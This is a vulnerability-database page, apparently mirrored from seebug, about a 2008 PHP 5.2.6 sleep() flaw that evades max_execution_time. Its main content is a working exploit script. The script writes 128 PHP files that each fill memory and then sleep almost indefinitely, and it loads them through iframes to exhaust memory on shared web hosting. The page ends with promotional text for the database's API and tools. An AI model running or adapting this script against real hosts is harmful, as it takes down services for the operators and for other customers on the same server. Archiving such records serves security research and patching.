Lucene search
K

PHP 5.2.6 sleep() Local Memory Exhaust Exploit

🗓️ 29 May 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

PHP 5.2.6 sleep() Local Memory Exhaust Exploit. Exploits a sleep function vulnerability to exhaust memory on web/PHP hosting

Code

                                                <?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside 
the execution of the script such as system calls using system(), stream operations, database queries, etc. is not 
included when determining the maximum time that the script has been running." including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/': 
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
    $rand = mt_rand();
    $fp = fopen("$temp$rand.php", 'w+');
    fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; 
sleep(999999999); ?>');// for 16mb memory limit
    fclose($fp);
    echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" 
height=\"10\"></iframe>";
}
?>

Found && exploited by Gogulas[at]wp.pl/hack.pl
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation